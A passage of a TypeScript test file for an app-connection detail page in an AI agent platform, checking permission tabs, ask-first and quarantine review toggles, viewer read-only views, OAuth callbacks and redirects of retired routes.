listConnectionGrantsMock.mockResolvedValue({ grants: [], capabilities: fullCapabilities({ canConfigure: false }), currentUserId: "user-1", members: [] });
|
||
await renderAppDetail();
|
||
expect(listAggregatorAppsMock).not.toHaveBeenCalled();
|
||
expect(syncAggregatorAppsMock).not.toHaveBeenCalled();
|
||
expect(container.textContent).not.toContain("Connected apps");
|
||
});
|
||
|
||
it.each([
|
||
{ transport: "rest_api", config: { sourceTemplateKey: "composio", connectionMethodKey: "api-key" } },
|
||
{ transport: "mcp_remote", config: { provider: "composio", parentConnectionId: "old-parent", toolkitSlug: "github" } },
|
||
])("shows replacement and explicit removal for a retired Composio record", async (legacy) => {
|
||
getConnectionMock.mockResolvedValue(connection({ ...legacy, enabled: false, healthStatus: "error" }));
|
||
await renderAppDetail();
|
||
expect(container.textContent).toContain("Connection retired");
|
||
expect(container.textContent).toContain("Remove each obsolete connection separately");
|
||
expect(container.textContent).not.toContain("Paused");
|
||
expect(container.textContent).not.toContain("Refresh actions");
|
||
const replacement = Array.from(container.querySelectorAll("button")).find((b) => b.textContent === "Add Composio MCP connection")!;
|
||
await act(async () => replacement.click());
|
||
expect(mockNavigate).toHaveBeenCalledWith("/apps/connect?source=composio");
|
||
const danger = Array.from(container.querySelectorAll("button")).find((b) => b.textContent?.includes("Danger zone"))!;
|
||
await act(async () => danger.click());
|
||
expect(container.textContent).toContain("Remove app");
|
||
expect(Array.from(container.querySelectorAll("button")).some((b) => b.textContent === "Reconnect")).toBe(false);
|
||
});
|
||
|
||
it("uses Permissions as the primary connection page and has no Setup tab", () => {
|
||
expect(APP_TABS.map((tab) => tab.key)).toEqual([
|
||
"permissions",
|
||
"review",
|
||
]);
|
||
});
|
||
|
||
it("allows the gallery logo fallback after application identity lookup fails", async () => {
|
||
listApplicationsMock.mockRejectedValueOnce(new Error("Application lookup unavailable"));
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(container.querySelector("[data-app-logo]")?.getAttribute("data-allow-remote-fallback")).toBe("true");
|
||
});
|
||
|
||
it("keeps a customized connection logo after application identity lookup fails", async () => {
|
||
getConnectionMock.mockResolvedValue(connection({
|
||
name: "Dotta's source control",
|
||
config: {
|
||
url: "https://github.example/mcp",
|
||
sourceTemplateKey: "github",
|
||
},
|
||
}));
|
||
listApplicationsMock.mockRejectedValueOnce(new Error("Application lookup unavailable"));
|
||
|
||
await renderAppDetail();
|
||
|
||
const logo = container.querySelector("[data-app-logo]");
|
||
expect(logo?.getAttribute("data-brand-key")).toBe("github");
|
||
expect(logo?.getAttribute("data-logo-url")).toBe("https://example.com/github.png");
|
||
expect(logo?.getAttribute("data-allow-remote-fallback")).toBe("true");
|
||
});
|
||
|
||
it("keeps the unverified-server marker on URL-only connection details", async () => {
|
||
getConnectionMock.mockResolvedValue(
|
||
connection({
|
||
name: "127.0.0.1",
|
||
config: { url: "http://127.0.0.1:8848/mcp" },
|
||
transportConfig: { url: "http://127.0.0.1:8848/mcp" },
|
||
}),
|
||
);
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(container.textContent).toContain("Custom app");
|
||
expect(container.textContent).toContain("hosted at 127.0.0.1");
|
||
expect(container.textContent).toContain("Unverified server");
|
||
expect(container.textContent).toContain("127.0.0.1:8848");
|
||
});
|
||
|
||
it("redirects a missing tab to Permissions", async () => {
|
||
mockParams.tab = undefined;
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(navigateComponentMock).toHaveBeenCalledWith({ to: "/apps/conn-1/permissions", replace: true });
|
||
});
|
||
|
||
it.each([
|
||
["review", "Review 1 new action"],
|
||
["permissions", "Which agents can use this connection?"],
|
||
])("renders the %s tab panel", async (tab, expectedText) => {
|
||
mockParams.tab = tab;
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(container.textContent).toContain("GitHub");
|
||
expect(container.textContent).toContain("2 actions available");
|
||
expect(container.textContent).toContain(expectedText);
|
||
expect(container.textContent).not.toContain("Setup");
|
||
expect(container.querySelector("section.bg-card")).toBeNull();
|
||
});
|
||
|
||
it("counts only active catalog entries as available actions", async () => {
|
||
mockParams.tab = "permissions";
|
||
listCatalogMock.mockResolvedValue({
|
||
catalog: [
|
||
catalogEntry(),
|
||
catalogEntry({ id: "catalog-disabled", toolName: "disabled_action", status: "disabled" }),
|
||
catalogEntry({ id: "catalog-quarantined", toolName: "pending_action", status: "quarantined" }),
|
||
catalogEntry({ id: "catalog-removed", toolName: "removed_action", status: "removed" }),
|
||
],
|
||
});
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(container.textContent).toContain("1 action available");
|
||
expect(container.textContent).not.toContain("2 actions available");
|
||
});
|
||
|
||
it.each(["setup", "advanced"])("redirects the retired %s route to Permissions", async (tab) => {
|
||
mockParams.tab = tab;
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(navigateComponentMock).toHaveBeenCalledWith({
|
||
to: "/apps/conn-1/permissions",
|
||
replace: true,
|
||
});
|
||
});
|
||
|
||
it("shows an explicit lazy-loading state while a tool tab discovers actions", async () => {
|
||
mockParams.tab = "permissions";
|
||
listCatalogMock.mockImplementation(() => new Promise(() => undefined));
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(container.textContent).toContain("GitHub");
|
||
expect(container.textContent).toContain("Loading tools…");
|
||
expect(container.textContent).not.toContain("Action permissions");
|
||
});
|
||
|
||
it("keeps the loaded connection visible when a refetch fails transiently", async () => {
|
||
mockParams.tab = "permissions";
|
||
const client = await renderAppDetail();
|
||
expect(container.textContent).toContain("Which agents can use this connection?");
|
||
|
||
getConnectionMock.mockRejectedValue(new ApiError("Paperclip is restarting.", 503, { error: "tenant_app_unavailable" }));
|
||
await act(async () => { await client.invalidateQueries({ queryKey: queryKeys.tools.connection("conn-1") }); });
|
||
await flushReact();
|
||
|
||
expect(container.textContent).toContain("GitHub");
|
||
expect(container.textContent).toContain("Which agents can use this connection?");
|
||
expect(container.querySelector('[data-query-view="error"]')).toBeNull();
|
||
expect(container.textContent).not.toContain("Paperclip is restarting.");
|
||
expect(container.textContent).not.toContain("tenant_app_unavailable");
|
||
});
|
||
|
||
it("shows readable copy and a Retry for a real connection failure", async () => {
|
||
mockParams.tab = "permissions";
|
||
getConnectionMock.mockRejectedValueOnce(new ApiError("Boom", 500, { error: "Boom" }));
|
||
|
||
await renderAppDetail();
|
||
|
||
const errorView = container.querySelector('[data-query-view="error"]');
|
||
expect(errorView?.textContent).toContain("Couldn't load the connection");
|
||
expect(container.textContent).not.toContain("Which agents can use this connection?");
|
||
const retry = Array.from(container.querySelectorAll("button")).find((button) => button.textContent?.trim() === "Retry");
|
||
expect(retry).toBeTruthy();
|
||
await act(async () => retry!.click());
|
||
await flushReact();
|
||
|
||
expect(container.querySelector('[data-query-view="error"]')).toBeNull();
|
||
expect(container.textContent).toContain("Which agents can use this connection?");
|
||
});
|
||
|
||
it.each([false, true])("replaces a cached connection with not-found after deletion (router: %s)", async router => {
|
||
if (router) getConnectionMock.mockResolvedValue(connection({ config: { aiRouter: { pluginKey: "test-router" } } }));
|
||
const client = await renderAppDetail();
|
||
const controls = router ? "Connection pool controls" : "Which agents can use this connection?";
|
||
expect(container.textContent).toContain(controls);
|
||
getConnectionMock.mockRejectedValue(new ApiError("not_found", 404, null));
|
||
await act(async () => { await client.invalidateQueries({ queryKey: queryKeys.tools.connection("conn-1") }); });
|
||
await flushReact();
|
||
expect(client.getQueryData(queryKeys.tools.connection("conn-1"))).toBeDefined();
|
||
expect(container.textContent).toContain("We couldn't find that app.");
|
||
expect(container.textContent).toContain("Back to connectors");
|
||
expect(container.textContent).not.toContain(controls);
|
||
expect(container.textContent).not.toContain("not_found");
|
||
});
|
||
|
||
it("redirects the retired Test tab into Permissions", async () => {
|
||
mockParams.tab = "test";
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(navigateComponentMock).toHaveBeenCalledWith({ to: "/apps/conn-1/permissions", replace: true });
|
||
});
|
||
|
||
it("confirms a successful connection on Permissions and clears the one-time URL flag", async () => {
|
||
mockParams.tab = "permissions";
|
||
mockSearchParams.value = new URLSearchParams("success=1");
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(pushToastMock).toHaveBeenCalledWith({
|
||
title: "GitHub connected",
|
||
body: "The connection is ready. Review permissions or test an action below.",
|
||
tone: "success",
|
||
});
|
||
expect(mockNavigate).toHaveBeenCalledWith("/apps/conn-1/permissions", { replace: true });
|
||
});
|
||
|
||
it.each([
|
||
["company-1", "github", "active", true],
|
||
["other-company", "github", "active", false],
|
||
["company-1", "notion", "active", false],
|
||
["company-1", "github", "pending", false],
|
||
])("resumes a skill import only for its company's active GitHub callback (%s, %s, %s)", async (companyId, provider, status, returns) => {
|
||
rememberSkillSourceReturn("company-1", "new");
|
||
mockSearchParams.value = new URLSearchParams("success=1");
|
||
getConnectionMock.mockResolvedValue(connection({ companyId, status, config: { sourceTemplateKey: provider } }));
|
||
await renderAppDetail();
|
||
expect(mockNavigate).toHaveBeenCalledWith(returns ? "/skills/sources/new" : "/apps/conn-1/permissions", { replace: true });
|
||
expect(skillSourceReturnPath("company-1")).toBe(returns ? null : "/skills/sources/new");
|
||
});
|
||
|
||
it("normalizes the retired post-OAuth Setup URL into Permissions", async () => {
|
||
mockParams.tab = "setup";
|
||
mockSearchParams.value = new URLSearchParams("oauth=choose-access");
|
||
getConnectionMock.mockResolvedValue(connection({
|
||
name: "Notion",
|
||
authKind: "oauth",
|
||
credentialPolicy: "per_user",
|
||
config: { sourceTemplateKey: "notion" },
|
||
}));
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(navigateComponentMock).toHaveBeenCalledWith({
|
||
to: "/apps/conn-1/permissions?oauth=choose-access",
|
||
replace: true,
|
||
});
|
||
expect(finalizeOAuthAccessMock).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it("reviews quarantined actions as one toggle list and saves allowed and blocked choices together", async () => {
|
||
mockParams.tab = "review";
|
||
listCatalogMock.mockResolvedValue({
|
||
catalog: [
|
||
catalogEntry(),
|
||
catalogEntry({
|
||
id: "catalog-write",
|
||
toolName: "write_issue",
|
||
title: "Write issue",
|
||
isReadOnly: false,
|
||
}),
|
||
catalogEntry({
|
||
id: "catalog-quarantined-allow",
|
||
toolName: "delete_repo",
|
||
title: "Delete repo",
|
||
status: "quarantined",
|
||
isReadOnly: false,
|
||
}),
|
||
catalogEntry({
|
||
id: "catalog-quarantined-block",
|
||
toolName: "archive_repo",
|
||
title: "Archive repo",
|
||
status: "quarantined",
|
||
isReadOnly: false,
|
||
}),
|
||
],
|
||
});
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(container.textContent).toContain("Review 2 new actions");
|
||
expect(container.textContent).toContain("Delete repo");
|
||
expect(container.textContent).toContain("Archive repo");
|
||
expect(container.textContent).not.toContain("Nothing is waiting for your OK right now.");
|
||
|
||
const allowToggle = container.querySelector<HTMLButtonElement>(
|
||
'button[role="switch"][aria-label="Delete repo allowed"]',
|
||
);
|
||
expect(allowToggle?.getAttribute("aria-checked")).toBe("false");
|
||
await act(async () => {
|
||
allowToggle?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
await act(async () => {
|
||
Array.from(container.querySelectorAll("button"))
|
||
.find((button) => button.textContent?.trim() === "Save choices")
|
||
?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(finishAppMock).toHaveBeenCalledWith("company-1", "conn-1", {
|
||
enabledCatalogEntryIds: expect.arrayContaining([
|
||
"catalog-read",
|
||
"catalog-write",
|
||
"catalog-quarantined-allow",
|
||
]),
|
||
askFirstCatalogEntryIds: ["catalog-write"],
|
||
reviewedCatalogEntryIds: expect.arrayContaining([
|
||
"catalog-quarantined-allow",
|
||
"catalog-quarantined-block",
|
||
]),
|
||
access: "all_agents",
|
||
});
|
||
const finishInput = finishAppMock.mock.calls.at(-1)?.[2] as { enabledCatalogEntryIds: string[] };
|
||
expect(finishInput.enabledCatalogEntryIds).not.toContain("catalog-quarantined-block");
|
||
});
|
||
|
||
it("shows the Smoke OAuth connection action for the installed HTTP fixture", async () => {
|
||
getConnectionMock.mockResolvedValue(connection({
|
||
name: "Smoke Lab HTTP MCP fixture",
|
||
config: {
|
||
smokeLabFixture: "oauth-http",
|
||
oauth: {
|
||
provider: "smoke_lab",
|
||
smokeLabFixture: true,
|
||
scopes: ["smoke:openid"],
|
||
},
|
||
},
|
||
}));
|
||
|
||
await renderAppDetail();
|
||
|
||
// The old generic "Connect with <provider>" block is gone: the connection's
|
||
// fixed identity type is explicit even before that identity is connected.
|
||
expect(container.textContent).toContain("Which humans can use this credential?");
|
||
expect(container.textContent).toContain("Anyone in your company can use this connection");
|
||
expect(container.textContent).toContain("Organization identity");
|
||
expect(container.textContent).toContain("Not connected");
|
||
expect(
|
||
Array.from(container.querySelectorAll("button")).some(
|
||
(button) => button.textContent?.trim() === "Connect organization identity",
|
||
),
|
||
).toBe(true);
|
||
});
|
||
|
||
it("keeps reconnect off a healthy Notion permissions page", async () => {
|
||
getConnectionMock.mockResolvedValue(connection({
|
||
name: "Notion",
|
||
createdByUserId: "user-1",
|
||
config: {
|
||
sourceTemplateKey: "notion",
|
||
oauth: {
|
||
provider: "notion",
|
||
connectedAt: "2026-08-06T20:00:00.000Z",
|
||
},
|
||
},
|
||
}));
|
||
listGalleryMock.mockResolvedValue({
|
||
apps: [{
|
||
key: "notion",
|
||
name: "Notion",
|
||
logoUrl: "https://example.com/notion.png",
|
||
tagline: "Search and update your Notion workspace.",
|
||
description: "Give agents governed access to Notion.",
|
||
authKind: "oauth",
|
||
transportTemplate: { transport: "mcp_remote", url: "https://mcp.notion.com/mcp" },
|
||
credentialFields: [],
|
||
recommendedDefaults: {},
|
||
urlPatterns: [],
|
||
}],
|
||
});
|
||
listUserDirectoryMock.mockResolvedValue({
|
||
users: [{
|
||
principalId: "user-1",
|
||
status: "active",
|
||
user: {
|
||
id: "user-1",
|
||
name: "Dotta",
|
||
email: "dotta@example.com",
|
||
image: "https://example.com/dotta.png",
|
||
},
|
||
}],
|
||
});
|
||
listConnectionGrantsMock.mockResolvedValue({
|
||
connection: { id: "conn-1", uid: "conn-1" },
|
||
grants: [organizationGrant()],
|
||
capabilities: fullCapabilities(),
|
||
currentUserId: "user-1",
|
||
members: [],
|
||
});
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(container.textContent).toContain("Dotta’s Notion");
|
||
expect(container.textContent).not.toContain("Connected by");
|
||
expect(container.textContent).toContain("Anyone in your company can use this connection");
|
||
expect(container.textContent).not.toContain("workspace authorization");
|
||
expect(findButton("Reconnect")).toBeUndefined();
|
||
expect(findButton("Danger zone")).toBeUndefined();
|
||
});
|
||
|
||
it("renders searchable action groups with three-way permission toggles", async () => {
|
||
mockParams.tab = "permissions";
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(container.textContent).toContain("Which agents can use this connection?");
|
||
expect(container.textContent).not.toContain("Always installed");
|
||
expect(putConnectionInstallsMock).not.toHaveBeenCalled();
|
||
expect(container.textContent).toContain("Read (1)");
|
||
expect(container.textContent).toContain("Write (1)");
|
||
expect(container.textContent).toContain("Read repo");
|
||
expect(container.textContent).toContain("Write issue");
|
||
expect(container.textContent).toContain("Review 1 new action");
|
||
expect(container.querySelector<HTMLInputElement>('input[aria-label="Find an action"]')).toBeTruthy();
|
||
expect(container.querySelector('button[aria-label="Read repo: Allowed"]')?.getAttribute("aria-checked")).toBe("true");
|
||
expect(container.querySelector('button[aria-label="Write issue: Ask first"]')?.getAttribute("aria-checked")).toBe("true");
|
||
expect(Array.from(container.querySelectorAll("button")).filter((button) => button.textContent?.trim() === "Test")).toHaveLength(2);
|
||
expect(container.textContent).not.toContain("Views data without changing it.");
|
||
expect(container.textContent).not.toContain("Creates or changes data.");
|
||
expect(container.querySelector("section.bg-card")).toBeNull();
|
||
});
|
||
|
||
it("opens an action test modal with agent selection, inputs, and result-ready chrome", async () => {
|
||
mockParams.tab = "permissions";
|
||
listTestAgentsMock.mockResolvedValue({
|
||
agents: [{
|
||
id: "agent-1",
|
||
name: "Coder",
|
||
role: "engineer",
|
||
title: "Engineer",
|
||
status: "active",
|
||
orgDepth: 1,
|
||
}],
|
||
});
|
||
getTestAgentAccessMock.mockResolvedValue({
|
||
access: {
|
||
connectionId: "conn-1",
|
||
toolCount: 2,
|
||
allowedCount: 1,
|
||
askFirstCount: 1,
|
||
offCount: 0,
|
||
lastChangedAt: null,
|
||
lastChangedByAgentId: null,
|
||
lastChangedByName: null,
|
||
tools: [
|
||
{
|
||
toolName: "read_repo",
|
||
gatewayToolName: "github__read_repo",
|
||
displayName: "Read repo",
|
||
risk: "read",
|
||
decision: "allowed",
|
||
reasonCode: null,
|
||
matchedPolicyIds: [],
|
||
},
|
||
],
|
||
},
|
||
});
|
||
|
||
await renderAppDetail();
|
||
const testButton = Array.from(container.querySelectorAll("button"))
|
||
.find((button) => button.textContent?.trim() === "Test");
|
||
await act(async () => {
|
||
testButton?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
const dialog = document.body.querySelector('[role="dialog"]');
|
||
expect(dialog?.textContent).toContain("Test Read repo");
|
||
expect(dialog?.textContent).toContain("Act as");
|
||
expect(dialog?.textContent).toContain("Coder");
|
||
expect(dialog?.textContent).toContain("This action takes no inputs.");
|
||
expect(dialog?.textContent).toContain("Run");
|
||
});
|
||
|
||
it("persists ask-first for read-only actions from the three-way toggle", async () => {
|
||
mockParams.tab = "permissions";
|
||
|
||
await renderAppDetail();
|
||
|
||
const askFirst = container.querySelector<HTMLButtonElement>('button[aria-label="Read repo: Ask first"]');
|
||
expect(askFirst).toBeTruthy();
|
||
await act(async () => {
|
||
askFirst!.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(finishAppMock).toHaveBeenCalledWith("company-1", "conn-1", {
|
||
enabledCatalogEntryIds: expect.arrayContaining(["catalog-read", "catalog-write"]),
|
||
askFirstCatalogEntryIds: expect.arrayContaining(["catalog-read", "catalog-write"]),
|
||
access: "all_agents",
|
||
});
|
||
});
|
||
|
||
it("persists off by removing an action from enabled and ask-first sets", async () => {
|
||
mockParams.tab = "permissions";
|
||
|
||
await renderAppDetail();
|
||
|
||
const off = container.querySelector<HTMLButtonElement>('button[aria-label="Write issue: Off"]');
|
||
expect(off).toBeTruthy();
|
||
await act(async () => {
|
||
off!.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(finishAppMock).toHaveBeenCalledWith("company-1", "conn-1", {
|
||
enabledCatalogEntryIds: ["catalog-read"],
|
||
askFirstCatalogEntryIds: [],
|
||
access: "all_agents",
|
||
});
|
||
});
|
||
|
||
it("fetches the connection configuration under a distinct child of the profiles cache", async () => {
|
||
await renderAppDetail();
|
||
expect(listConnectionProfileConfigurationMock).toHaveBeenCalledWith("conn-1");
|
||
expect(queryKeys.tools.connectionProfileConfiguration("company-1", "conn-1").slice(0, 3))
|
||
.toEqual(queryKeys.tools.profiles("company-1"));
|
||
expect(queryKeys.tools.connectionProfileConfiguration("company-1", "conn-1"))
|
||
.not.toEqual(queryKeys.tools.connectionProfileConfiguration("company-1", "conn-2"));
|
||
});
|
||
|
||
it("shows and removes task-granted access without changing the connection's default permissions", async () => {
|
||
const grant = {
|
||
id: "task-grant", status: "active", profileKey: "connection-intent:conn-1:agent-1",
|
||
metadata: { source: "connection_intent", connectionId: "conn-1", agentId: "agent-1" },
|
||
bindings: [{ targetType: "agent", targetId: "agent-1" }],
|
||
entries: [{ effect: "include", catalogEntryId: "catalog-write" }],
|
||
};
|
||
listConnectionProfileConfigurationMock.mockResolvedValue({ profiles: [grant] });
|
||
listPoliciesMock.mockResolvedValue({ policies: [{
|
||
enabled: true, policyType: "require_approval",
|
||
selectors: { catalogEntryId: "catalog-write" },
|
||
config: { source: "connection_intent", connectionId: "conn-1", agentId: "agent-1" },
|
||
}] });
|
||
await renderAppDetail();
|
||
const section = Array.from(container.querySelectorAll("section")).find(section => section.textContent?.includes("Additional agent access"))!;
|
||
expect(section.textContent).toContain("Write issue");
|
||
expect(section.textContent).toContain("Ask first");
|
||
listConnectionProfileConfigurationMock.mockResolvedValue({ profiles: [] });
|
||
await act(async () => section.querySelector("button")!.click());
|
||
await flushReact();
|
||
expect(deleteProfileMock).toHaveBeenCalledWith("task-grant");
|
||
expect(container.textContent).not.toContain("Additional agent access");
|
||
expect(finishAppMock).not.toHaveBeenCalled();
|
||
expect(putConnectionInstallsMock).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it("keeps the task grant visible when removal fails", async () => {
|
||
listConnectionProfileConfigurationMock.mockResolvedValue({ profiles: [{
|
||
id: "task-grant", status: "active", profileKey: "connection-intent:conn-1:agent-1",
|
||
metadata: { source: "connection_intent", connectionId: "conn-1", agentId: "agent-1" },
|
||
bindings: [{ targetType: "agent", targetId: "agent-1" }],
|
||
entries: [{ effect: "include", catalogEntryId: "catalog-read" }],
|
||
}] });
|
||
deleteProfileMock.mockRejectedValue(new Error("Connection access changed. Reload and try again."));
|
||
await renderAppDetail();
|
||
const button = Array.from(container.querySelectorAll("button")).find(button => button.textContent === "Remove grant")!;
|
||
await act(async () => button.click());
|
||
await flushReact();
|
||
expect(container.querySelector('[role="alert"]')?.textContent).toContain("Connection access changed");
|
||
expect(button.disabled).toBe(false);
|
||
});
|
||
|
||
it("persists agent access independently from always-installed agents", async () => {
|
||
mockParams.tab = "permissions";
|
||
listConnectionProfileConfigurationMock.mockResolvedValue({
|
||
profiles: [{
|
||
profileKey: "app:conn-1",
|
||
entries: [
|
||
{ effect: "include", catalogEntryId: "catalog-read" },
|
||
{ effect: "include", catalogEntryId: "catalog-write" },
|
||
],
|
||
bindings: [{ targetType: "agent", targetId: "agent-1" }],
|
||
}],
|
||
});
|
||
|
||
await renderAppDetail();
|
||
|
||
const accessGroup = container.querySelector('[role="radiogroup"][aria-label="Which agents can use this connection"]');
|
||
const anyAgent = Array.from(accessGroup?.querySelectorAll('[role="radio"]') ?? [])
|
||
.find((radio) => radio.textContent?.includes("Any agent"));
|
||
expect(anyAgent).toBeTruthy();
|
||
|
||
await act(async () => {
|
||
anyAgent?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(finishAppMock).toHaveBeenCalledWith("company-1", "conn-1", {
|
||
enabledCatalogEntryIds: ["catalog-read", "catalog-write"],
|
||
askFirstCatalogEntryIds: ["catalog-write"],
|
||
access: "all_agents",
|
||
});
|
||
expect(putConnectionInstallsMock).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it("keeps always-installed agents in the access allowlist", async () => {
|
||
mockParams.tab = "permissions";
|
||
getConnectionInstallsMock.mockResolvedValue({
|
||
connectionId: "conn-1",
|
||
installs: [{
|
||
id: "install-agent-1",
|
||
companyId: "company-1",
|
||
connectionId: "conn-1",
|
||
targetType: "agent",
|
||
targetId: "agent-1",
|
||
createdByAgentId: null,
|
||
createdByUserId: "user-1",
|
||
createdAt: new Date(),
|
||
}],
|
||
});
|
||
|
||
await renderAppDetail();
|
||
|
||
const accessGroup = container.querySelector('[role="radiogroup"][aria-label="Which agents can use this connection"]');
|
||
const pickedAgents = Array.from(accessGroup?.querySelectorAll('[role="radio"]') ?? [])
|
||
.find((radio) => radio.textContent?.includes("Just agents I pick"));
|
||
await act(async () => {
|
||
pickedAgents?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(finishAppMock).toHaveBeenCalledWith("company-1", "conn-1", {
|
||
enabledCatalogEntryIds: ["catalog-read", "catalog-write"],
|
||
askFirstCatalogEntryIds: ["catalog-write"],
|
||
access: { agentIds: ["agent-1"] },
|
||
});
|
||
});
|
||
|
||
it("uses the setup-style agent access question without install terminology", async () => {
|
||
mockParams.tab = "permissions";
|
||
listConnectionProfileConfigurationMock.mockResolvedValue({
|
||
profiles: [{
|
||
profileKey: "app:conn-1",
|
||
entries: [
|
||
{ effect: "include", catalogEntryId: "catalog-read" },
|
||
{ effect: "include", catalogEntryId: "catalog-write" },
|
||
],
|
||
bindings: [{ targetType: "agent", targetId: "agent-1" }],
|
||
}],
|
||
});
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(container.textContent).toContain("Which agents can use this connection?");
|
||
expect(container.textContent).toContain("Just agents I pick");
|
||
expect(container.textContent).toContain("Any agent");
|
||
expect(container.textContent).not.toContain("Always installed");
|
||
expect(container.querySelector('button[aria-label="Remove Coder access"]')).toBeNull();
|
||
expect(
|
||
Array.from(container.querySelectorAll("button")).filter(
|
||
(button) => button.textContent?.trim() === "Change",
|
||
),
|
||
).toHaveLength(0);
|
||
});
|
||
|
||
/**
|
||
* Viewer rule D4: a policy-forbidden action is omitted, not disabled. The
|
||
* viewer still sees the whole state — which agents have it, what each action
|
||
* is allowed to do — with nothing to press.
|
||
*/
|
||
it("gives a viewer a read-only Permissions tab with no mutation affordances", async () => {
|
||
mockParams.tab = "permissions";
|
||
listConnectionGrantsMock.mockResolvedValue({
|
||
connection: { id: "conn-1", uid: "conn-uid-1" },
|
||
grants: [],
|
||
currentUserId: "user-1",
|
||
members: [],
|
||
capabilities: fullCapabilities({
|
||
canConfigure: false,
|
||
canManageAgentInstalls: false,
|
||
canSetCompanyInstall: false,
|
||
canConnectAsCurrentUser: false,
|
||
editableAgentIds: [],
|
||
}),
|
||
});
|
||
|
||
await renderAppDetail();
|
||
|
||
// State is still legible.
|
||
expect(container.textContent).toContain("Which agents can use this connection?");
|
||
expect(container.textContent).toContain("Actions");
|
||
expect(container.textContent).toContain("Read repo");
|
||
|
||
// Nothing to mutate: no radios, no permission selects, no refresh, no save.
|
||
expect(container.querySelector('[role="radiogroup"][aria-label="Which agents can use this connection"]')).toBeNull();
|
||
expect(container.querySelector('[role="radiogroup"][aria-label="Read repo permission"]')).toBeNull();
|
||
expect(container.querySelectorAll("select").length).toBe(0);
|
||
const labels = Array.from(container.querySelectorAll("button")).map((b) => b.textContent?.trim());
|
||
for (const forbidden of ["Change", "Save", "Refresh actions", "Choose agents"]) {
|
||
expect(labels).not.toContain(forbidden);
|
||
}
|
||
});
|
||
|
||
it("redirects legacy connection activity to the filtered company Audit feed", async () => {
|
||
mockParams.tab = "activity";
|
||
listConnectionActivityMock.mockResolvedValue({
|
||
events: [
|
||
{
|
||
id: "evt-1",
|
||
eventType: "call_completed",
|
||
agentId: "agent-1",
|
||
issueId: "issue-1",
|
||
actionRequestId: null,
|
||
toolName: "Get value",
|
||
outcome: "success",
|
||
createdAt: new Date("2026-06-12T10:00:00Z"),
|
||
},
|
||
{
|
||
id: "evt-2",
|
||
eventType: "approval_resolved",
|
||
agentId: "agent-1",
|
||
issueId: "issue-1",
|
||
actionRequestId: "request-1",
|
||
toolName: "Mark done",
|
||
outcome: "success",
|
||
createdAt: new Date("2026-06-12T10:01:00Z"),
|
||
},
|
||
],
|
||
issues: {
|
||
"issue-1": { identifier: "PAP-10912", title: "Fix app connection copy" },
|
||
},
|
||
actionRequests: {
|
||
"request-1": {
|
||
status: "approved",
|
||
resolverDisplayName: "Dotta",
|
||
resolvedByAgentId: null,
|
||
resolvedByUserId: "board-user",
|
||
},
|
||
},
|
||
});
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(navigateComponentMock).toHaveBeenCalledWith({
|
||
to: "/activity?action=tool_",
|
||
replace: true,
|
||
});
|
||
});
|
||
|
||
it("removes the per-connection activity surface", async () => {
|
||
mockParams.tab = "activity";
|
||
listConnectionActivityMock.mockResolvedValue({
|
||
events: [
|
||
{
|
||
id: "evt-1",
|
||
eventType: "call_completed",
|
||
agentId: "agent-1",
|
||
issueId: null,
|
||
actionRequestId: null,
|
||
toolName: "mcp.app-gallery-link-ccad39e8-6798a369:kv-set",
|
||
outcome: "success",
|
||
createdAt: new Date("2026-06-12T10:00:00Z"),
|
||
},
|
||
],
|
||
issues: {},
|
||
actionRequests: {},
|
||
});
|
||
|
||
await renderAppDetail();
|
||
|
||
expect(container.textContent).toBe("");
|
||
expect(navigateComponentMock).toHaveBeenCalledWith({
|
||
to: "/activity?action=tool_",
|
||
replace: true,
|
||
});
|
||
});
|
||
|
||
it("redirects lifecycle history to the same Audit destination", async () => {
|
||
mockParams.tab = "activity";
|
||
listConnectionActivityMock.mockResolvedValue({
|
||
events: [
|
||
{
|
||
id: "evt-1",
|
||
eventType: "call_completed",
|
||
agentId: "agent-1",
|
||
issueId: null,
|
||
actionRequestId: null,
|
||
toolName: "Get value",
|
||
outcome: "success",
|
||
createdAt: new Date("2026-06-12T10:30:00Z"),
|
||
},
|
||
],
|
||
lifecycleEvents: [
|
||
{
|
||
id: "life-connected",
|
||
connectionId: "conn-1",
|
||
type: "app_connected",
|
||
actorType: "user",
|
||
actorId: "board-user",
|
||
agentId: null,
|
||
actorDisplayName: "Dotta",
|
||
details: null,
|
||
createdAt: new Date("2026-06-12T09:00:00Z"),
|
||
},
|
||
{
|
||
id: "life-paused",
|
||
connectionId: "conn-1",
|
||
type: "app_paused",
|
||
actorType: "user",
|
||
actorId: "board-user",
|
||
agentId: null,
|
||
actorDisplayName: "Dotta",
|
||
details: { enabled: false },
|
||
createdAt: new Date("2026-06-12T11:00:00Z"),
|
||
},
|
||
{
|
||
id: "life-allowlist",
|
||
connectionId: "conn-1",
|
||
type: "allowlist_changed",
|
||
actorType: "user",
|
||
actorId: "board-user",
|
||
agentId: null,
|
||
actorDisplayName: "Dotta",
|
||
details: { added: 1, removed: 0, total: 2 },
|
||
createdAt: new Date("2026-06-12T10:45:00Z"),
|
||
},
|
||
{
|
